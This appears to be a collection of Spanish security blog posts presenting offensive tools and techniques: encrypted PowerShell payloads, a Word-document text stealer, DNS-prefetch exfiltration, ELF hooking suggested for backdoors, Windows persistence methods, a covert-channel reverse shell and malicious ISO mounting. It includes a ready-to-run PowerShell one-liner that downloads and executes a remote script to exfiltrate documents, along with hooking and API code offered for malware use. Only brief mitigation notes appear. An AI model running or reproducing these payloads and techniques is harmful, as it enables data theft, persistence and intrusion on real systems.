Creación de payloads cifrados en Powershell con Xeca

Xeca es un proyecto que crea payloads cifrados de PowerShell con fines ofensivos. También es posible crear shellcodes independientes a partir de archivos DLL. Para instalarlo, tenemos que tener previamente Rust y luego construir el proyecto simplemente con el comando: cargo build.

Su funcionamiento es el siguiente:
1. Identifica y cifra el payload. Carga el payload cifrado en un script de PowerShell y lo guarda en un archivo llamado "launch.txt"
2. La clave para descifrar el payload se guarda en un archivo llamado "safe.txt"
3. Ejecuta "launch.txt" en un host remoto

• El script volverá a llamar al servidor web definido por el atacante para recuperar la clave de descifrado "safe.txt"
• Descifra el payload en la memoria
• Ejecuta el payload en la memoria

Algunos ejemplos de uso:

Empire

Merlin

Sliver

Mitigaciones

Si los usuarios tienen que tener acceso a programas como powershell.exe, para mitigar el uso de estas herramientas hay que considerar minimizar los riesgos de seguridad con Just Enough Administration y PowerShell Logging. Las políticas de control de aplicaciones se pueden implementar a través de whitelisting con herramientas como AppLocker.

Proyecto: https://github.com/postrequest/xeca

Herramienta para exfiltrar el texto de los documentos de Word abiertos

Invoke-WordThief es una herramienta que se compone de un script en powershell que conecta con un servidor TCP implementado en python y que monitoriza los documentos de Microsoft Word activos (.doc, .docx, etc.) para extraer/ex-filtrar sus textos. Para ello utiliza los objetos COM de Word y el script también añade un entrada en el registro en la rama HKCU (sin necesidad de privilegios de administración) para conseguir persistencia.

USO
Servidor:

$ python3 ./logger.py -h
usage: logger.py [-h] [-o LOG_DIR] [-p LPORT] [-b BIND]

TCP Listener for Invoke-WordThief document text

optional arguments:
  -h, --help            show this help message and exit
  -o LOG_DIR, -d LOG_DIR, --log_dir LOG_DIR
                        Full path of log directory.
  -p LPORT, -l LPORT, --lport LPORT
                        Listening port of log server
  -b BIND, --bind BIND  Bind address to listen to

Cliente:

PS C:\Users\vis0r\Downloads\Invoke-WordThief-master> help Invoke-WordThief

NOMBRE
    Invoke-WordThief

SINOPSIS
    This is the main function, running all monitoring activity and multithreading (Jobs),
    defined ScriptBlock that runs the text streaming phase (after doc has been opened).

SINTAXIS
    Invoke-WordThief [-SERVER] <String> [[-PERSISTENCE] <Boolean>] [[-LOG_PORT] <Int32>] [[-HTTP_PORT] <Int32>]
    [<CommonParameters>]

DESCRIPCIÓN

VÍNCULOS RELACIONADOS

NOTAS
    Para ver los ejemplos, escriba: "get-help Invoke-WordThief -examples".
    Para obtener más información, escriba: "get-help Invoke-WordThief -detailed".
    Para obtener información técnica, escriba: "get-help Invoke-WordThief -full".

powershell -nop -w 1 -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.138:8888/Invoke-WordThief.ps1');Invoke-WordThief -Server 192.168.1.138"

Fuente: https://github.com/danielwolfmann/Invoke-WordThief

browsertunnel: exfiltrando datos mediante dns-prefetch

Browsertunnel es una herramienta para exfiltrar datos desde el navegador utilizando el protocolo DNS. Para ello abusa de dns-prefetch, una técnica destinada a reducir la latencia percibida de los sitios web al realizar búsquedas DNS en segundo plano para dominios específicos antes si quiera que se soliciten cargarse. Pueden ser una o varias meta etiquetas que se colocan dentro del head, en ellas se establecen los dominios de los cuales vamos a necesitar cargar recursos en nuestra web. De esta manera precargamos los dominios (DNS) para que se resuelva la IP de la cual se descargarán los recursos requeridos, y así evitamos que esa resolución de la IP se haga justo cuando se requiera la carga del recurso. Además el tráfico DNS no aparece en las herramientas de depuración del navegador, no está bloqueado por la Política de seguridad de contenido (CSP) de una página, y a menudo no es inspeccionado por firewalls o proxies corporativos, por lo que es un medio ideal para sacar datos en escenarios restringidos.

Se trata de una técnica antigua: el túnel DNS en sí se remonta a los años 90, y Patrick Vananti escribió sobre el uso de dns-prefetch en 2016, pero por lo que puedo decir, browsertunnel es el primer cliente/servidor de código abierto que demuestra su uso. Debido a que dns-prefetch no devuelve ningún dato al cliente javascript, la comunicación a través de browsertunnel solo es unidireccional. Además, algunos navegadores deshabilitan dns-prefetch de forma predeterminada, y en esos casos, browsertunnel fallará silenciosamente.

El proyecto tiene dos partes:

- Un servidor, escrito en golang, que funciona como un servidor DNS autorizado que recopila y decodifica los mensajes enviados por browsertunnel.
- Una pequeña librería de JavaScript, que se encuentra en la carpeta html/, codifica y envía mensajes desde el lado del cliente

Principales vulnerabilidades en un Directorio Activo

Todos estamos de acuerdo que asegurar un entorno de Active Directory no es una tarea fácil, siempre hay nuevos requisitos, características, pequeños (o grandes) descuidos en su configuración y nuevas vulnerabilidades que van apareciendo casi de forma frenética. Recientemente en el blog de Infosecmatter recogían un top16 de las debilidades y vulnerabilidades más comunes que encontraremos en este tipo de entornos, sin duda una recopilación muy útil y que un pentester a de tener muy en cuenta:

1. Usuarios que tienen permisos para agregar equipos al dominio
2. Atributo AdminCount configurado en usuarios comunes
3. Demasiados usuarios en grupos privilegiados
4. Cuentas de servicio miembros de administradores de dominio
5. Privilegios excesivos que permiten shadow admins en el dominio
6. Cuentas de servicio vulnerables a Kerberoasting
7. Usuarios con contraseñas que no caducan
8. Usuarios con contraseña no requerida
9. Almacenar contraseñas usando cifrado reversible
10. Almacenar contraseñas usando hashes LM
11. Cuentas de servicio vulnerables a AS-REP roasting
12. Política de contraseñas débil
13. Cuentas de dominio inactivas
14. Usuarios privilegiados con restablecimiento de contraseña vencido
15. Usuarios con una contraseña débil
16. Credenciales en SYSVOL y Preferencias de directiva de grupo (GPP)

1. Usuarios que tienen permisos para agregar equipos al dominio

En el Directorio Activo por defecto cualquier usuario de dominio puede agregar worstations. Esto se define mediante el atributo ms-DS-MachineAccountQuota que se establece de manera predeterminada a 10. Es decir, cualquier usuario de dominio con pocos privilegios puede unir hasta 10 computadoras al dominio. Por ejemplo esto brinda la posibilidad a un atacante de agregar su propio equipo no administrado a un dominio corporativo con las siguientes ventajas:

- sin necesidad de tener una solución antivirus o EDR en su máquina
- no se aplicarán configuraciones o políticas de GPO a su sistema
- podrá tener derechos administrativos en su sistema

Para añadir a un equipo al dominio se puede hacer mediante las Propiedades del Sistema (sysdm.cpl) o con powershell:

add-computer –domainname <FQDN-DOMAIN> -Credential <DOMAIN>\<USER> -restart –force

# Ejemplo
add-computer –domainname org.local -Credential ORG\john -restart –force

Si tenemos acceso a los controladores de dominio también podemos enumerar aquellas máquinas que fueron agregadas por usuarios que no son administradores:

Import-Module ActiveDirectory
Get-ADComputer -LDAPFilter "(ms-DS-CreatorSID=*)" -Properties ms-DS-CreatorSID

Volver al principio

2. Atributo AdminCount configurado en usuarios comunes

En DA hay un objeto llamado AdminSDHolder cuyo propósito es proteger objetos. Específicamente, objetos que son miembros de grupos administrativos.

Los objetos AD tienen un atributo llamado AdminCount. El valor predeterminado es para la mayoría de los objetos. Al cambiar el valor a "1", se marca la cuenta como protegida por AdminSDHolder.

Al agregar un usuario a un grupo con permisos de administración se cambia el valor a "1", pero si embargo cuando se saca del grupo ese valor no vuelve a "0". Como resultado, el objeto de usuario sigue teniendo ACL "sensibles" como por ejemplo deshabilitar la herencia de permisos. Esto puede ser un riesgo en algunos escenarios.

Para encontrar usuarios con el atributo AdminCount configurado a 1 podemos usar la herramienta LDAPDomainDump. Esta herramienta recopila información sobre todos los usuarios, grupos y equipos del dominio. Todo lo que necesitamos son credenciales de cualquier usuario de dominio con pocos privilegios y poder llegar al puerto LDAP de cualquier controlador de dominio.

GLORYHook o llamando libc desde el propio hook

GLORYHook del israelí Paul Litvak (Intezer labs) es un script en python que nos permitirá hacer un merge de dos binarios en Linux. Lo interesante es que utiliza un método de hooking que permite llamar librerías desde el propio hook, por lo que no es necesario recurrir a escribir shellcodes o escribir una implementación propia de las API de libc.

La instalación son unos pocos pasos sólo:

1. (Requisito) Custom LIEF para manipular más fácilmente los ELF
git clone https://github.com/tsarpaul/LIEF
cd LIEF
python3 ./setup.py install

2. GLORYHook
git clone https://github.com/tsarpaul/GLORYHook.git
cd GLORYHook
pip3 install -r requirements.txt

Ahora veamos un ejemplo con el código de hook.c donde podemos ver como llamamos a la API de libc:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *gloryhook_strrchr(const char *s, int c){
    printf("STRRCHR HOOKED!\n");
    return strrchr(s, c);
}

char *gloryhook_getenv(const char *name) {
    printf("GETENV HOOKED!\n");
    return getenv(name);
}

Después usamos el script para que haga su magia:

$ python3 glory.py /bin/ls ./hook -o ./hooked-ls
[+] Beginning merge!
[+] Injecting new PLT
[+] Extending GOT for new PLT
[+] Fixing injected PLT
[+] Injecting PLT relocations
[+] Done!

Y voilà:

$ ./hooked-ls 
STRRCHR HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
example.sh  glory-penguin.png  glory.py  hook  hook.c  hooked-ls  README.md  requirements.txt  usage.png

Ya os podéis imaginar que esto puede servir bastante bien para un file infector/backdoor, como una buena alternativa para un rootkit de LD_PRELOAD y bastante díficil de detectar... };-)

SIGRed: vulnerabilidad crítica en el servidor DNS de Windows (CVE-2020-1350)

Los investigadores de Checkpoint se propusieron encontrar una vulnerabilidad mediante la cual comprometer un dominio de Windows, preferiblemente sin necesidad previa de autenticación, y siguieron la senda de la explotación de protocolos como ya pasó con Eternalblue con RDP o BlueKeep con RDP. En este caso se centraron en el servidor DNS presente en la mayoría de los controladores de dominio y el resultado fue el descubrimiento de un desbordamiento de enteros o integer overflow (que deriva en un Heap-Based Buffer Overflow) a la hora de parsear peticiones de tipo Signature (RR SIG records): hablamos de la vulnerabilidad CVE-2020-1350 llamada también SIGRed con un CVSS de 10.0 y que afecta a las versiones de Windows Server 2003 a 2019.

Unas pocas premisas

Partamos de unas pocas premisas antes de empezar a ver la descripción de la vulnerabilidad:

• DNS opera en el puerto 53 UDP o TCP
• un solo mensaje DNS (respuesta/petición) está limitado a 512 bytes en UDP y 65,535 bytes en TCP.
• DNS es jerárquico y descentralizado por naturaleza. Esto significa que cuando un servidor DNS no conoce la respuesta a una consulta que recibe, la consulta se reenvía a un servidor DNS que se encuentra sobre él en la jerarquía
• En Windows, el cliente DNS y el servidor DNS se implementan en dos módulos diferentes:
•  Cliente DNS: dnsapi.dll es responsable de la resolución de DNS.
•  Servidor DNS: dns.exe es responsable de responder las consultas DNS en Windows Server, en el que está instalada la funcionalidad DNS.

Descripción de la vulnerabilidad

La vulnerabilidad se encuentra en el servidor DNS/dns.exe:
1. dns.exe implementa una función de parseo para cada tipo de respuesta soportada
2. Uno de los tipos de respuesta admitidos es para una consulta SIG. La función del handler para el tipo de respuesta SIG es dns.exe!SigWireRead
3. La función responsable de asignar memoria para el RR (Resource Record) RR_AllocateEx espera que sus parámetros se pasen en registros de 16 bits, ya que solo usa la parte dx de rdx y la parte cx de rcx.
4. Si podemos hacer que se muestre un resultado mayor de 65.535 bytes (el valor máximo para un entero de 16 bits) se produce un desbordamiento y esta dirección de memoria asignada se pasa como un búfer de destino para memcpy, lo que lleva a un heap buffer overflow.

25 técnicas de persistencia (Windows) de Pentest Lab

Grandísima recopilación de técnicas de persistencia recogidas en el blog de Penetration Testing Lab y mapeadas con Mitre, indicando además si se necesitan permisos o no de administrador en cada una de ellas:

Technique	Mitre	Administrator Rights
Winlogon Helper DLL	T1004	Yes
Port Monitors	T1013	Yes
Accessibility Features	T1015	Yes
Shortcut Modification	T1023	No
Modify Existing Service	T1031	Yes
DLL Search Order Hijacking	T1038	Yes
Change Default File Association	T1042	No
New Service	T1050	Yes
Scheduled Tasks	T1053	No
Service Registry Permission Weakness	T1058	No
Registry Run Keys	T1060	No
WMI Event Subscription	T1084	Yes
Security Support Provider	T1101	Yes
AppInit DLLs	T1103	Yes
Component Object Model Hijacking	T1122	No
Netsh Helper DLL	T1128	Yes
Office Application Startup	T1137	No
Application Shimming	T1138	Yes
Screensaver	T1180	No
Image File Execution Options Injection	T1183	Yes
BITS Jobs	T1197	No
Time Providers	T1209	Yes
PowerShell Profile	T1504	No
Waitfor	N/A	Yes
RID Hijacking	N/A	Yes

Cómo eliminar la molesta telemetría de Firefox para trabajar (a gusto) con Burp

Ya sabéis que Firefox, incluso sin extensiones, genera un montón de ruido cuando trabajamos con Burp a modo de conexiones a DetectPortal, SafeBrowsing, reportMalware, version-checks, ping-telemetry, etc.

Para evitarlo podemos cambiar una serie de settings en el UI (por ejemplo, a través de about:config en el navegador) o, más sencillo, configurarlo dentro de un archivo user.js en tu perfil. Las rutas donde se deben guardar dicho archivo según sistema operativo (hay que crearlo si no existe) son las siguientes:

• Windows: C:\Users\\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxxx.default
• Mac OS X: Users//Library/Application Support/Firefox/Profiles/xxxxxxxx.default
• Linux: /home//.mozilla/firefox/xxxxxxxx.default
  

Y gracias a Mikhail Driagunov aka AetherEternity he querido recopilar este user.js para tener siempre a mano:

user_pref("accessibility.force_disabled", 1);
user_pref("accessibility.typeaheadfind.flashBar", 0);
user_pref("app.normandy.first_run", false);
user_pref("app.shield.optoutstudies.enabled", false);
user_pref("app.update.auto", false);
user_pref("app.update.checkInstallTime", false);
user_pref("app.update.doorhanger", false);
user_pref("browser.feeds.showFirstRunUI", false);
user_pref("browser.newtabpage.activity-stream.feeds.section.highlights", false);
user_pref("browser.newtabpage.activity-stream.feeds.snippets", false);
user_pref("browser.newtabpage.activity-stream.feeds.telemetry", false);
user_pref("browser.newtabpage.activity-stream.feeds.topsites", false);
user_pref("browser.newtabpage.activity-stream.prerender", false);
user_pref("browser.newtabpage.activity-stream.telemetry", false);
user_pref("browser.newtabpage.activity-stream.telemetry.ping.endpoint", "https://localhost");
user_pref("browser.ping-centre.telemetry", false);
user_pref("browser.safebrowsing.blockedURIs.enabled", false);
user_pref("browser.safebrowsing.downloads.enabled", false);
user_pref("browser.safebrowsing.downloads.remote.block_dangerous", false);
user_pref("browser.safebrowsing.downloads.remote.block_dangerous_host", false);
user_pref("browser.safebrowsing.downloads.remote.block_potentially_unwanted", false);
user_pref("browser.safebrowsing.downloads.remote.block_uncommon", false);
user_pref("browser.safebrowsing.downloads.remote.enabled", false);
user_pref("browser.safebrowsing.downloads.remote.url", "https://localhost");
user_pref("browser.safebrowsing.malware.enabled", false);
user_pref("browser.safebrowsing.phishing.enabled", false); 

HTTP-revshell: controla el equipo de la víctima a través de un canal encubierto

Hola a tod@s, mi nombre es Héctor de Armas, 3v4Si0N para los juankers y voy a presentarles una herramienta que desarrollé durante el confinamiento. Esta herramienta se hace llamar HTTP-revshell y consiste en la utilización de un canal encubierto (covert channel) para obtener control sobre el equipo víctima a través de peticiones web y de esta forma evadir soluciones como un IDS, IPS y AV.

Bueno, ¿y qué diablos es un covert channel?

Pues básicamente, es la manipulación de un protocolo de comunicación (en este caso HTTP y HTTPS) para enviar información de una manera fuera de la especificación del protocolo.

HTTP-revshell se ha desarrollado para ser utilizada en ejercicios de RedTeam y/o pentest para poner a prueba las capacidades de detección de las soluciones de seguridad que una empresa puede tener implementadas (siempre para hacer el bien y nunca para el mal, sed buenos).

Utilización de HTTP-revshell

Comenzamos con la instalación de la herramienta. Lo primero, descargar el repositorio que se encuentra en la siguiente URL:

    • https://github.com/3v4Si0N/HTTP-revshell

Para realizar una pequeña muestra de cómo funciona vamos a utilizar la versión de la rama dev ya que, actualmente como se encuentra en desarrollo, está más actualizada que la versión de la rama master. Para ello, utilizamos el siguiente comando:

git clone -b dev https://github.com/3v4Si0N/HTTP-revshell.git

Cómo montar un ISO malicioso correctamente

El uso de archivos ISO maliciosos se lleva usando desde hace tiempo en muchas campañas de malware: Phobos, ZLoader, LokiBot, Nanocore, Grandoreiro... pero hasta ahora no había visto un artículo tan claro como el de Mateusz, fundador de vx-underground, dónde muestra cómo montar correctamente un archivo ISO para ser utilizado con fines maliciosos. Veamos pues cómo montar una ISO sin establecer una ruta visible para el usuario y/o asignar una letra de dispositivo.

Primero, ¿por qué no usar un archivo VHD/VHDX (disco duro virtual) en lugar de un ISO (imagen de CD o DVD)? Ambos tienen que se virtualizados y montados por Windows y ambos utilizan llamadas a API similares (Virtual Storage API), pero muchos antivirus parecen ser incapaces de montar mediante programación un archivo VHD/VHDX, aunque parece que si son capaces de analizar imágenes ISO en cierta medida. ¿Entonces por que los desarrolladores de malware no usan mejor ficheros VHD? Pues básicamente porque el tamaño mínimo de un archivo VHD que se puede asignar en una Tabla de Partición GUID (GPT) es de 5MB.

Centrémonos entonces en los ISOs, mucho más pequeños y versátiles. Como decíamos, coinciden en el uso de ciertas APIs, y concretamente con AttachVirtualDisk podremos montar y leerlo también. Podremos llamar a OpenVirtualDisk​ como se define a continuación:

DWORD ​OpenVirtualDisk​(
  PVIRTUAL_STORAGE_TYPE         VirtualStorageType,  
  PCWSTR                        Path,  
  VIRTUAL_DISK_ACCESS_MASK      VirtualDiskAccessMask,
  OPEN_VIRTUAL_DISK_FLAG        Flags,
  POPEN_VIRTUAL_DISK_PARAMETERS Parameters,
  PHANDLE                       Handle
);

El primer parámetro, VirtualStorageType, debe ser válido como parte de una estructura VIRTUAL_STORAGE_TYPE que se define como:

typedef​​struct​ _​VIRTUAL_STORAGE_TYPE​ {
  ULONG DeviceId;
  GUID  VendorId;
} VIRTUAL_STORAGE_TYPE, *PVIRTUAL_STORAGE_TYPE;

El DeviceId debe establecerse en VIRTUAL_STORAGE_TYPE_DEVICE_ISO. Además, VendorId debe establecerse en VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT.
Si hacemos esto así, todo lo demás seguirá siendo prácticamente idéntico que con un archivo VHD/VHDX.